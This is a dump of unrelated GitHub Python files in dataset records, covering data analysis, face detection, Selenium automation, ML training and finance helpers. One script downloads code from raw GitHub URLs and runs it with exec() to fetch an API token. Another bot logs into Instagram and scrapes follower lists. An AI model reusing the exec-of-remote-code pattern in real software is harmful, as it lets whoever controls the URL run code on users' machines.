df.groupby(['Reparto', 'Producto'])\r\n# Estadísticas para todas las columnas numéricas por Producto\r\nprint(\"\\nTOTAL VIAJES PROGRAMADOS REPARTO/PRODUCTO: \")\r\nprint(grouped_data2['Viaje'].count())\r\n\r\n\r\n\r\n\r\n\r\n\r\ngrouped_data5 = df.groupby(['Reparto','Producto', 'Cliente', 'Dest']).agg({'Viaje':'count', 'Cliente':'nunique', 'Cantidad':'sum','BLS':'sum', })\r\n# Estadísticas para todas las columnas numéricas por Producto\r\nprint(\"\\nTOTAL VIAJES PROGRAMADOS REPARTO/PRODUCTO: \")\r\nprint(grouped_data5.groupby(['Reparto','Producto']).sum())\r\n\r\ngrouped_data7 = df.groupby(['Estatus','Reparto','Producto', 'Cliente', 'Dest']).agg({'Viaje':'count', 'Cliente':'nunique', 'Cantidad':'sum','BLS':'sum', })\r\n# Estadísticas para todas las columnas numéricas por Producto\r\nprint(\"\\nESTATUS VIAJES PROGRAMADOS REPARTO-PRODUCTO/CLIENTE-DESTINO: \")\r\nprint(grouped_data7.groupby(['Estatus', 'Reparto','Producto']).sum())\r\n\r\ngrouped_data4 = df.groupby(['Estatus','Reparto','Producto', 'Cliente', 'Dest']).agg({'Viaje':'count', 'Cliente':'nunique', 'Cantidad':'sum','BLS':'sum', })\r\n# Estadísticas para todas las columnas numéricas por Producto\r\nprint(\"\\nESTATUS VIAJES PROGRAMADOS REPARTO-PRODUCTO/CLIENTE-DESTINO:cccxxx \")\r\ngrouped_data4.groupby(['Estatus', 'Reparto','Producto']).sum()\r\n\r\ngrouped_data4.pivot(index='Estatus', columns=['Reparto'], values=['Viaje', 'Cliente', 'Cantidad', 'BLS'])\r\n\r\n","repo_name":"jonselvas/personal","sub_path":"ivne.py","file_name":"ivne.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33549199607","text":"from channels.routing import route\nfrom .consumers import online_connect, online_disconnect, online_receive\n\n\nchannel_routing = [\n route(\"websocket.connect\", online_connect,\n path=r'^/online/$'),\n route(\"websocket.receive\", online_receive,\n path=r'^/online/$'),\n route(\"websocket.disconnect\", online_disconnect,\n path=r'^/online/$'),\n]\n","repo_name":"HandsomeHan515/SmartClassroom-Python","sub_path":"SmartClassroom/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"5"} +{"seq_id":"35553152956","text":"import io\nimport picamera\nimport cv2\nimport numpy\nimport math\n\n\ndef rotation(image, angleInDegrees):\n h, w = image.shape[:2]\n img_c = (w / 2, h / 2)\n\n rot = cv2.getRotationMatrix2D(img_c, angleInDegrees, 1)\n\n rad = math.radians(angleInDegrees)\n sin = math.sin(rad)\n cos = math.cos(rad)\n b_w = int((h * abs(sin)) + (w * abs(cos)))\n b_h = int((h * abs(cos)) + (w * abs(sin)))\n\n rot[0, 2] += ((b_w / 2) - img_c[0])\n rot[1, 2] += ((b_h / 2) - img_c[1])\n\n outImg = cv2.warpAffine(image, rot, (b_w, b_h), flags=cv2.INTER_LINEAR)\n return outImg\n\n\n# Create a memory stream so photos doesn't need to be saved in a file\nstream = io.BytesIO()\n\n# Get the picture (low resolution, so it should be quite fast)\n# Here you can also specify other parameters (e.g.:rotate the image)\nwith picamera.PiCamera() as camera:\n camera.resolution = (2592, 1944)\n camera.rotation = 180\n camera.capture(stream, format='jpeg')\n print('Picture taken')\n\n# Convert the picture into a numpy array\nbuff = numpy.frombuffer(stream.getvalue(), dtype=numpy.uint8)\n\n# Now creates an OpenCV image\nimage = cv2.imdecode(buff, 1)\n\n# Load a cascade file for detecting faces\nface_cascade = cv2.CascadeClassifier('./data/haarcascades/haarcascade_frontalface_default.xml')\n\n# Convert to grayscale\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# Look for faces in the image using the loaded cascade file\nfaces = face_cascade.detectMultiScale(gray, 1.1, 5)\n\nprint(\"Found \" + str(len(faces)) + \" face(s)\")\n\n# Draw a rectangle around every found face\nfor (x, y, w, h) in faces:\n cv2.rectangle(image, (x, y), (x + w, y + h), (255, 255, 0), 2)\n\n# Save the result image\ncv2.imwrite('result6.jpg', image)\n\ncv2.imwrite('result6_rot.jpg', rotation(image, 10))\n","repo_name":"fbacinello/raspberry","sub_path":"opencv/picture_face_detection.py","file_name":"picture_face_detection.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25993331325","text":"import time\r\nfrom selenium import webdriver\r\n\r\nclass sectest:\r\n def __init__(self, username, pwd):\r\n self.driver = webdriver.Chrome('--chromedriver file location--') # Optional argument, if not specified will search path.\r\n self.username = username\r\n self.driver.get('https://instagram.com')\r\n time.sleep(2) # Let the user actually see something!\r\n self.driver.find_element_by_xpath(\"//input[@name=\\\"username\\\"]\").send_keys(username)\r\n self.driver.find_element_by_xpath(\"//input[@name=\\\"password\\\"]\").send_keys(pwd)\r\n self.driver.find_element_by_xpath(\"//button[@type=\\\"submit\\\"]\").click()\r\n time.sleep(2)\r\n self.driver.find_element_by_xpath(\"//button[contains(text(), 'Not Now')]\").click()\r\n time.sleep(2)\r\n\r\n def get_unfollowers(self):\r\n self.driver.find_element_by_xpath(\"//a[contains(@href,'/{}')]\".format(self.username))\\\r\n .click()\r\n time.sleep(2)\r\n #finding following\r\n self.driver.find_element_by_xpath(\"//a[contains(@href,'/following')]\")\\\r\n .click()\r\n following = self._get_names()\r\n #same thing for followers\r\n self.driver.find_element_by_xpath(\"//a[contains(@href,'/followers')]\").click()\r\n followers = self._get_names()\r\n not_following_back = [user for user in following if user not in followers]\r\n print(not_following_back)\r\n\r\n def _get_names(self):\r\n time.sleep(2)\r\n #uptdated scrollbox xpath\r\n scroll_box = self.driver.find_element_by_xpath(\"/html/body/div[4]/div/div[2]\")\r\n last_ht, ht = 0, 1\r\n while last_ht != ht:\r\n last_ht = ht\r\n time.sleep(0.800) #make this faster or slower depending on your laptop's speed\r\n ht = self.driver.execute_script(\"\"\"\r\n arguments[0].scrollTo(0, arguments[0].scrollHeight); \r\n return arguments[0].scrollHeight;\r\n \"\"\", scroll_box)\r\n links = scroll_box.find_elements_by_tag_name('a')\r\n names = [name.text for name in links if name.text != '']\r\n #updated close button\r\n time.sleep(2)\r\n self.driver.find_element_by_xpath(\"/html/body/div[4]/div/div[1]/div/div[2]/button\").click()\r\n time.sleep(2)\r\n #print(names)\r\n return names\r\n\r\nigbot = sectest(\"username\", \"password\")\r\nigbot.get_unfollowers()\r\n","repo_name":"DiagramProgram/Instabot","sub_path":"igpybot.py","file_name":"igpybot.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7898833729","text":"import torch\nimport argparse\nfrom time import time\n# from lastDataset import dataset\nfrom newDataset import dataset\n# from models.newmodel import model\n# from pargs import pargs,dynArgs\nfrom models.copymodel import model\nfrom newpargs import pargs,dynArgs\n#import utils.eval as evalMetrics\nimport os\n\n\ndef tgtreverse(tgts,entlist,order):\n print('tgtreverse')\n entlist = entlist[0]\n order = [int(x) for x in order[0].split(\" \")]\n tgts = tgts.split(\" \")\n k = 0\n for i,x in enumerate(tgts):\n if x[0] == \"<\" and x[-1]=='>':\n tgts[i] = entlist[order[k]]\n k+=1\n return \" \".join(tgts)\n \ndef test(args,ds,m,epoch='cmdline'):\n print('generation ' + str(epoch))\n args.vbsz = 1\n model = args.save\n m.eval()\n k = 0\n data = ds.mktestset(args)\n ofn = \"./outputs/\"+model+'/'+epoch+\".inputs.beam_predictions\"\n pf = open(ofn,'w')\n preds = []\n golds = []\n for b in data:\n #if k == 10: break\n #print(k,len(data))\n b = ds.fixBatch(b)\n '''\n p,z = m(b)\n p = p[0].max(1)[1]\n gen = ds.reverse(p,b.rawent)\n '''\n # print(b.rawent)\n # print(b.rel)\n # print(b.tgt)\n\n gen = m.beam_generate(b,beamsz=4,k=6)\n gen.sort()\n gen = ds.reverse(gen.done[0].words,b.rawent)\n k+=1\n gold = ds.reverse(b.out[0][0][1:], b.rawent)\n # print(gold)\n # print(gen)\n # print()\n preds.append(gen.lower())\n golds.append(gold.lower())\n #tf.write(ent+'\\n')\n raw_pred = []\n for token in gen.split():\n if \"<ENTITY_\" in token:\n index = int(token.split('_')[1].replace('>', ''))\n if index >= len(b.rawent[0]):\n raw_pred.append(token)\n else:\n raw_pred.append(b.rawent[0][index])\n else:\n raw_pred.append(token)\n raw_rel = []\n for r in b.rawrel[0]:\n s, p, o = r.split()\n raw_rel.append('(' + b.rawent[0][int(s)] + ', ' + ds.REL.itos[int(p)+3] + ', ' + b.rawent[0][int(o)] + ')')\n raw_pred = ' '.join(raw_pred)\n # print(b.sum[0])\n pf.write(' ; '.join(b.rawent[0]) + '\\t' + ' ; '.join(raw_rel) + '\\t' + ' ; '.join(b.sum[0]) + '\\t' + gen.lower() + '\\t' + raw_pred + '\\n')\n m.train()\n return preds,golds\n\ndef generate(args,ds,m,epoch='cmdline'):\n print('generation ' + str(epoch))\n args.vbsz = 1\n model = args.save\n m.eval()\n k = 0\n data = ds.mktestset(args)\n preds = []\n golds = []\n for b in data:\n #if k == 10: break\n #print(k,len(data))\n b = ds.fixBatch(b)\n '''\n p,z = m(b)\n p = p[0].max(1)[1]\n gen = ds.reverse(p,b.rawent)\n '''\n # print(b.rawent)\n # print(b.rel)\n # print(b.tgt)\n\n gen = m.beam_generate(b,beamsz=4,k=6)\n gen.sort()\n gen = ds.reverse(gen.done[0].words,b.rawent)\n k+=1\n gold = ds.reverse(b.out[0][0][1:], b.rawent)\n # print(gold)\n # print(gen)\n # print()\n preds.append(gen.lower())\n golds.append(gold.lower())\n #tf.write(ent+'\\n')\n raw_pred = []\n for token in gen.split():\n if \"<ENTITY_\" in token:\n index = int(token.split('_')[1].replace('>', ''))\n if index >= len(b.rawent[0]):\n raw_pred.append(token)\n else:\n raw_pred.append(b.rawent[0][index])\n else:\n raw_pred.append(token)\n raw_rel = []\n for r in b.rawrel[0]:\n s, p, o = r.split()\n raw_rel.append('(' + b.rawent[0][int(s)] + ', ' + ds.REL.itos[int(p)+3] + ', ' + b.rawent[0][int(o)] + ')')\n raw_pred = ' '.join(raw_pred)\n # print(b.sum[0])\n # pf.write(' ; '.join(b.rawent[0]) + '\\t' + ' ; '.join(raw_rel) + '\\t' + ' ; '.join(b.sum[0]) + '\\t' + gen.lower() + '\\t' + raw_pred + '\\n')\n m.train()\n return preds,golds\n\n\n'''\ndef metrics(preds,gold):\n cands = {'generated_description'+str(i):x.strip() for i,x in enumerate(preds)}\n refs = {'generated_description'+str(i):[x.strip()] for i,x in enumerate(gold)}\n x = evalMetrics.Evaluate()\n scores = x.evaluate(live=True, cand=cands, ref=refs)\n return scores\n'''\n\nif __name__==\"__main__\":\n print('generator.py')\n args = pargs()\n args.eval = True\n ds = dataset(args)\n args = dynArgs(args,ds)\n m = model(args)\n torch.cuda.set_device(args.device)\n try :\n os.mkdir('outputs/' + args.save)\n except:\n pass\n epoch = len(os.listdir(args.save)) - 2\n for i in range(epoch):\n cpt = torch.load(args.save + '/' + args.save + '_' + str(i), map_location=args.device)\n m.load_state_dict(cpt)\n m = m.to(args.device)\n m.args = args\n m.maxlen = args.max\n m.starttok = ds.OUTP.vocab.stoi['<start>']\n m.endtok = ds.OUTP.vocab.stoi['<eos>']\n m.eostok = ds.OUTP.vocab.stoi['.']\n args.vbsz = 1\n preds,gold = test(args,ds,m, str(i))\n '''\n scores = metrics(preds,gold)\n for k,v in scores.items():\n print(k+'\\t'+str(scores[k]))\n '''\n","repo_name":"machinereading/K2NLG","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":4673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"20301869682","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"ipetrash\"\n\n\n# SOURCE: https://github.com/qbittorrent/qbittorrent/wiki/WebUI-API-Documentation#get-torrent-list\n\n\nfrom PyQt5.Qt import *\n\nfrom common import get_client\n\n\nclass TorrentInfoWidget(QTableWidget):\n def __init__(self):\n super().__init__()\n\n self.setEditTriggers(QTableWidget.NoEditTriggers)\n self.setSelectionBehavior(QTableWidget.SelectRows)\n self.setSelectionMode(QTableWidget.SingleSelection)\n\n headers = [\"KEY\", \"VALUE\"]\n self.setColumnCount(len(headers))\n self.setHorizontalHeaderLabels(headers)\n\n self.horizontalHeader().setStretchLastSection(True)\n self.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeToContents)\n\n def fill(self, torrent_details: dict):\n while self.rowCount():\n self.removeRow(0)\n\n for k, v in torrent_details.items():\n row = self.rowCount()\n self.setRowCount(row + 1)\n\n self.setItem(row, 0, QTableWidgetItem(str(k)))\n self.setItem(row, 1, QTableWidgetItem(str(v)))\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n\n self.table_torrent = QTableWidget()\n self.table_torrent.setEditTriggers(QTableWidget.NoEditTriggers)\n self.table_torrent.setSelectionBehavior(QTableWidget.SelectRows)\n self.table_torrent.setSelectionMode(QTableWidget.SingleSelection)\n self.table_torrent.itemSelectionChanged.connect(self.fill_torrent_info)\n\n self.torrent_info_widget = TorrentInfoWidget()\n\n splitter = QSplitter(Qt.Vertical)\n splitter.addWidget(self.table_torrent)\n splitter.addWidget(self.torrent_info_widget)\n\n self.setCentralWidget(splitter)\n\n def fill_table(self):\n qb = get_client()\n torrents = qb.torrents()\n if not torrents:\n return\n\n self.table_torrent.clear()\n\n headers = torrents[0].keys()\n self.table_torrent.setColumnCount(len(headers))\n self.table_torrent.setHorizontalHeaderLabels(headers)\n\n self.table_torrent.setRowCount(len(torrents))\n\n for row, torrent in enumerate(torrents):\n for column, key in enumerate(headers):\n value = str(torrent[key])\n\n item = QTableWidgetItem(value)\n item.setData(Qt.UserRole, torrent)\n\n self.table_torrent.setItem(row, column, item)\n\n def fill_torrent_info(self):\n items = self.table_torrent.selectedItems()\n if not items:\n return\n\n torrent = items[0].data(Qt.UserRole)\n\n qb = get_client()\n torrent_details = qb.get_torrent(torrent[\"hash\"])\n\n self.torrent_info_widget.fill(torrent_details)\n\n\nif __name__ == \"__main__\":\n app = QApplication([])\n\n mw = MainWindow()\n mw.resize(900, 600)\n mw.show()\n mw.fill_table()\n\n app.exec()\n","repo_name":"gil9red/SimplePyScripts","sub_path":"qbittorrent_examples/torrent_list__table_gui_pyqt.py","file_name":"torrent_list__table_gui_pyqt.py","file_ext":"py","file_size_in_byte":2927,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"5"} +{"seq_id":"40959969468","text":"import gzip\nimport json\n\n\ndef get_uk_text():\n with gzip.open(\"./jawiki-country.json.gz\") as f:\n for line in f:\n json_dict = json.loads(line)\n if \"イギリス\" in json_dict[\"title\"]:\n return json_dict[\"text\"]\n\n\nimport re\nr = re.compile(\"\\[\\[File:(.+)\\]\\]\")\ndoc = get_uk_text()\nfor it in r.finditer(doc):\n print(it.group(0))\n","repo_name":"r9y9/nlp100","sub_path":"24.py","file_name":"24.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"5"} +{"seq_id":"25231055366","text":"from decimal import Decimal, InvalidOperation\nfrom typing import Union, List, Callable, Dict\n\nimport inspect\nimport sys\n\n\ndef quantize(decimal_number, decimal_count):\n \"\"\"\n Functions return rounds given decimal number until given decimal count.\n \"\"\"\n\n return decimal_number.quantize(Decimal(f'1.{\"0\"*decimal_count}'))\n\n\ndef get_decimal(value: Union[Decimal, int, float, str]) -> Decimal:\n \"\"\"Return decimal representation of given value.\"\"\"\n\n if isinstance(value, Decimal):\n return value\n elif isinstance(value, int) or isinstance(value, float):\n return Decimal(str(value))\n elif isinstance(value, str):\n return Decimal(value)\n\n raise ValueError(\"Please provide correct value type. For example: 1.00\")\n\n\ndef get_parameter_inputs(func) -> List:\n \"\"\"Returns list of parameter inputs for the given function from user\"\"\"\n\n specs = inspect.getfullargspec(func)\n\n inputs = []\n for arg, annotation in zip(specs.args, specs.annotations.values()):\n\n message = f'Please, provide value of \"{arg}\"'\n try:\n if annotation is List[Decimal]:\n inp = input(\n f'{message} (seperate them with commas): ')\n inputs.append([get_decimal(i)\n for i in inp.replace(\" \", \"\").split(\",\")])\n else:\n if arg == \"annuity_type\":\n message += ' (\"0\" for ordinary annuity; \"1\" for annuity due)'\n if arg == \"dividend_is_gonna_grow\":\n message += ' (if not, \"0\"; if yes, \"1\")'\n inp = input(f'{message}: ')\n inputs.append(get_decimal(inp))\n except InvalidOperation:\n print(\"Invalid input (not decimal number) passed. Please, provide correct value (e.g. 1.00 or 100). If list of values asked, use comma as seperator.\")\n sys.exit()\n return inputs\n\n\ndef calc(func: Callable) -> Decimal:\n \"\"\"Function gets input parameters from user and returns output.\"\"\"\n\n inputs = get_parameter_inputs(func)\n\n res = func(*inputs)\n return res\n\n\ndef get_input(dictionary: Dict):\n type_is_correct = False\n while not type_is_correct:\n type_ = input(\"Write number of calculation type here. (e.g. 2): \")\n mod = dictionary.get(type_, None)\n if mod is not None:\n type_is_correct = True\n break\n\n print(\"Please, write correct number.\")\n\n return mod\n","repo_name":"khasizadaj/financial-calculations","sub_path":"fin_funcs/helper_funcs.py","file_name":"helper_funcs.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"4746721409","text":"import gym\nimport torch\nimport numpy as np\n\nfrom mpo import MPO\nfrom mpo_nets import CategoricalActor, Critic\n\n\nnp.random.seed(0)\ntorch.manual_seed(0)\n\n\nif __name__ == '__main__':\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n \n num_envs = 5\n env_name = 'LunarLander-v2'\n\n vec_env = gym.vector.make(env_name, num_envs=5)\n\n obs_shape = vec_env.observation_space.shape[-1]\n action_shape = vec_env.action_space[0].n\n\n actor = CategoricalActor(obs_shape, action_shape)\n critic = Critic(obs_shape, action_shape)\n\n if device == 'cuda':\n actor.cuda()\n critic.cuda()\n \n def train():\n mpo = MPO(vec_env, actor, critic, obs_shape, action_shape, device=device)\n mpo.load_model()\n mpo.train()\n\n def evaluate():\n env = gym.make(env_name)\n mpo = MPO(vec_env, actor, critic, obs_shape, action_shape, device=device)\n mpo.load_model()\n\n obs = env.reset()\n\n while True:\n act, _ = mpo.actor.action(torch.Tensor(np.array([obs])).to(device))\n act = act.cpu().detach().numpy()[0]\n\n obs, r, d, _ = env.step(act)\n env.render()\n\n if d:\n obs = env.reset()\n\n #evaluate()\n train()\n","repo_name":"acyclics/MPO","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"5"} +{"seq_id":"40324906197","text":"import requests\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--name\", \"-a\", type=str, dest=\"name\", required=True)\nparser.add_argument(\"--description\", \"-n\", type=str, dest=\"is_description\", default=\"nono\", required=False)\nparser.add_argument(\"--private\", \"-p\", dest=\"is_private\", #action=\"store_true\", \n required=False, type=str , default=\"false\" )\nargs = parser.parse_args()\n\nrepo_name = args.name\nis_private = args.is_private\ndescription = args.is_description\n\n### load github_token\n## load func to connect to postgress database\nfrom urllib.request import urlopen\ntarget_url=\"https://raw.githubusercontent.com/AinaKIKISAGBE/tools_public/main/python_sql_database/connect_to_postgresql.py\"\nexec(urlopen(target_url).read().decode('utf-8'))\n## load func to sql query token table \ntarget_url=\"https://raw.githubusercontent.com/AinaKIKISAGBE/tools_public/main/python_sql_database/get_github_key.py\"\nexec(urlopen(target_url).read().decode('utf-8'))\n## get GITHUB_TOKEN in postgress database\nGITHUB_TOKEN = func_github_key()\n\n\nAPI_URL = \"https://api.github.com\"\npaylod = '{\"name\": \"%s\", \"private\": %s , \"description\": \"%s\"}' %(repo_name, is_private, description)\nheaders = {\n \"Authorization\": \"token \" + GITHUB_TOKEN,\n \"Accept\": \"application/vnd.github.v3+json\",\n}\n\ntry :\n r= requests.post(API_URL + \"/user/repos\", data = paylod, headers = headers)\n r.raise_for_status()\nexcept Exception as error :\n raise SystemExit(error)\n\n# exemple run :\n# python create_repos_on_gith.py --name tools_private --private true --description \"begin tools_private\"\n# python create_repos_on_gith.py --name tools_public --private false --description \"begin tools_public\"\n\n\n","repo_name":"AinaKIKISAGBE/tools_public","sub_path":"create_repos_on_gith/create_repos_on_gith.py","file_name":"create_repos_on_gith.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29551297494","text":"import numpy as np\n# import matplotlib\n# matplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nfrom scipy.stats import multinomial\n\n# Observed data (example data for three categories)\nobserved_data = [1, 4, 7]\n\n# Initialize variables and grid\nn = 10\nlk = np.zeros((n, n))\nx = np.linspace(0, 1, n)\ny = np.linspace(0, 1, n)\nX, Y = np.meshgrid(x, y)\n\n# Create a grid on the 2D simplex (equilateral triangle)\nn = 10\nx = np.linspace(0, 1, n)\ny = np.linspace(0, 1, n)\nX, Y = np.meshgrid(x, y)\n\n# Ensure that x + y <= 1 (points inside the simplex)\nmask = X + Y <= 1\nX = np.ma.masked_array(X, mask=~mask)\nY = np.ma.masked_array(Y, mask=~mask)\n\nmax1=-1000\n# Calculate likelihood values for the grid\nfor i in range(n):\n for j in range(n):\n p1, p2 = X[i, j], Y[i, j]\n p3 = 1 - p1 - p2\n if p3 > 0:\n probabilities = [p1, p2, p3]\n # Calculate the likelihood using the Multinomial distribution\n likelihood = multinomial.pmf(observed_data, n=np.sum(observed_data), p=probabilities)\n lk[i, j] = likelihood\n if(likelihood>max1):\n max1=likelihood\n im=p1\n jm=p2\n\nprint(\"Maximum likelihood\",max1,im,jm)\n# Plot the likelihood values on the 2D simplex\nplt.figure()\ncontour = plt.contourf(X, Y, lk, levels=100, cmap='viridis')\nplt.colorbar(contour)\nplt.title('Likelihood on the 2D Simplex (Equilateral Triangle)')\nplt.xlabel('p1')\nplt.ylabel('p2')\nplt.show()\n","repo_name":"shakir507/StatisticsandMachineLearning","sub_path":"Statistics/MLEwithMultinomial_simplex.py","file_name":"MLEwithMultinomial_simplex.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20900474896","text":"#!/usr/bin/env python3\n\nfrom glob import glob\nfrom helpers import only_blacklists_changed\n\n\ndef test_blacklist_integrity():\n bl_files = glob('bad_*.txt') + glob('blacklisted_*.txt') + \\\n ['watched_keywords.txt']\n seen = dict()\n for bl_file in bl_files:\n with open(bl_file, 'r') as lines:\n for lineno, line in enumerate(lines, 1):\n if line.endswith('\\r\\n'):\n raise(ValueError('{0}:{1}:DOS line ending'.format(bl_file, lineno)))\n if not line.endswith('\\n'):\n raise(ValueError('{0}:{1}:No newline'.format(bl_file, lineno)))\n if line == '\\n':\n raise(ValueError('{0}:{1}:Empty line'.format(bl_file, lineno)))\n if bl_file == 'watched_keywords.txt':\n line = line.split('\\t')[2]\n if line in seen:\n raise(ValueError('{0}:{1}:Duplicate entry {2} (also {3})'.format(\n bl_file, lineno, line.rstrip('\\n'), seen[line])))\n seen[line] = '{0}:{1}'.format(bl_file, lineno)\n\n\ndef test_blacklist_pull_diff():\n only_blacklists_diff = \"\"\"watched_keywords.txt\n bad_keywords.txt\n blacklisted_websites.txt\"\"\"\n assert only_blacklists_changed(only_blacklists_diff)\n mixed_files_diff = \"\"\"helpers.py\n test/test_blacklists.py\n blacklisted_usernames.txt\"\"\"\n assert not only_blacklists_changed(mixed_files_diff)\n","repo_name":"quartata/smokey-git-test","sub_path":"test/test_blacklists.py","file_name":"test_blacklists.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10204211752","text":"import os\nfrom datetime import datetime\nfrom flask import Blueprint, request, current_app, jsonify\nimport uuid\nfrom werkzeug.utils import secure_filename\n\nALLOWED_EXTENSIONS = ('jpg', 'png', \"jpeg\")\n\nbp = Blueprint('upload', __name__)\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.split('.')[-1].lower() in ALLOWED_EXTENSIONS\n\n\n@bp.route('/img', methods=['POST'])\ndef upload_img():\n file_dir = current_app.config['UPLOAD_FOLDER']\n if not os.path.exists(file_dir):\n os.makedirs(file_dir)\n file = request.files['file']\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n ext_name = filename.split('.')[-1]\n c_time = datetime.now().strftime('%Y-%m-%d-%H-%M')\n random_str = uuid.uuid4().hex\n filename = f'{c_time}_{random_str}.{ext_name}'\n file.save(os.path.join(file_dir, filename))\n return jsonify({\n 'ret': True,\n 'filename': filename\n })\n else:\n return jsonify({\n 'ret': False,\n 'error_message': '文件上传失败'\n })","repo_name":"jimages/social-backend","sub_path":"social/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"9041765749","text":"# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\ndriver = webdriver.Chrome()\ndriver.get(\n 'http://localhost/litecart/admin/?app=countries&doc=countries'\n)\ndriver.find_element_by_name('username').send_keys(\n 'admin'\n)\ndriver.find_element_by_name('password').send_keys(\n 'admin'\n)\ndriver.find_element_by_name('login').click()\ndriver.find_element_by_css_selector('a.button').click()\nmain_window = driver.current_window_handle\next_links = driver.find_elements_by_css_selector(\n 'td>a[target=\\'_blank\\']'\n)\nwait = WebDriverWait(driver, 10)\nfor link in ext_links:\n link.click()\n current_windows = driver.window_handles\n wait.until(EC.number_of_windows_to_be(2))\n driver.switch_to.window(current_windows[1])\n driver.close()\n driver.switch_to.window(main_window)\ndriver.quit()\n","repo_name":"Yurasb/selenium_course","sub_path":"task 14 - check new window opening/new_windows.py","file_name":"new_windows.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28707578416","text":"def f1(x):\n a = 3\n b = 5\n y = a * x + b\n return y\n\nc = f1(10)\nprint(c)\n\ndef areaOfTriangle(b,h):\n return 0.5*b*h\n\nprint(areaOfTriangle(4,5))","repo_name":"Qandi430/python","sub_path":"chapter6/return.py","file_name":"return.py","file_ext":"py","file_size_in_byte":155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31835943501","text":"# encoding: utf-8 \n\n\"\"\" \n@version: v1.0 \n@author: Richard\n@license: Apache Licence \n@contact: billions.richard@qq.com \n@site: \n@software: PyCharm \n@time: 2019/9/1 11:08 \n\"\"\"\nimport unittest\nfrom medium.adding_two_nums.srcs.answer import Solution\nfrom medium.adding_two_nums.srcs.answer import ListNode\n\n\nclass TestAnaswer(unittest.TestCase):\n def setUp(self):\n print('setting up')\n\n def tearDown(self):\n print('tearing down..')\n\n def test_solution1(self):\n h1 = ListNode(2)\n node2 = ListNode(4)\n node3 = ListNode(3)\n h1.next = node2\n node2.next = node3\n\n h2 = ListNode(5)\n n2 = ListNode(6)\n n3 = ListNode(4)\n h2.next = n2\n n2.next = n3\n\n s = Solution()\n sum_list = s.addTwoNumbers(h1, h2)\n real_list = Solution.box_into_list(807)\n self.assertEqual(Solution.get_list_val(real_list),\n Solution.get_list_val(sum_list))\n\n def test_solution2(self):\n h1 = ListNode(0)\n\n h2 = ListNode(5)\n h2.next = ListNode(6)\n h2.next.next = ListNode(4)\n \n s = Solution()\n sum_list = s.addTwoNumbers(h1, h2)\n real_list = Solution.box_into_list(465)\n self.assertEqual(Solution.get_list_val(real_list),\n Solution.get_list_val(sum_list))\n\n def test_solution3(self):\n h1 = ListNode(9)\n\n h2 = ListNode(5)\n h2.next = ListNode(6)\n h2.next.next = ListNode(4)\n\n s = Solution()\n sum_list = s.addTwoNumbers(h1, h2)\n real_list = Solution.box_into_list(474)\n self.assertEqual(Solution.get_list_val(real_list),\n Solution.get_list_val(sum_list))\n","repo_name":"BillionsRichard/pycharmWorkspace","sub_path":"leetcode/medium/adding_two_nums/tests/test_answer.py","file_name":"test_answer.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"14300194056","text":"#!/usr/bin/env python\n\nimport serial\nimport time\n\n# Motors doesn't seem to do the full 180, looks about 10-15 degree short, so we adjust our \"center\" accordingly.\nX0 = 96\nY0 = 96\n\n# Note: Our \"baud rate\" is limited to 9600. Every \"command\" we send is 3bytes, so\n# we're limited to 9600/(3*8) = 400 commands a second, or one every 2.5ms\n# We wait 20ms just to be on the safe side\n# Addendum: Apparently the PWM cycle of our motor is also 20ms, so we can't go any faster than that anyway\n# Addendum2: Our motor's top speed is 0.1s/60deg so there's not much point trying to go faster than that. \nSLP = 0.2 # Sleep for 0.1s between every movement\n\n# Connect to Arduino over Serial console\nser = None\n\n# We hard code our USB port ttys here, they may wary\ntry:\n ser = serial.Serial('/dev/tty.usbmodem1411', 9600)\nexcept serial.serialutil.SerialException:\n ser = serial.Serial('/dev/tty.usbmodem1421', 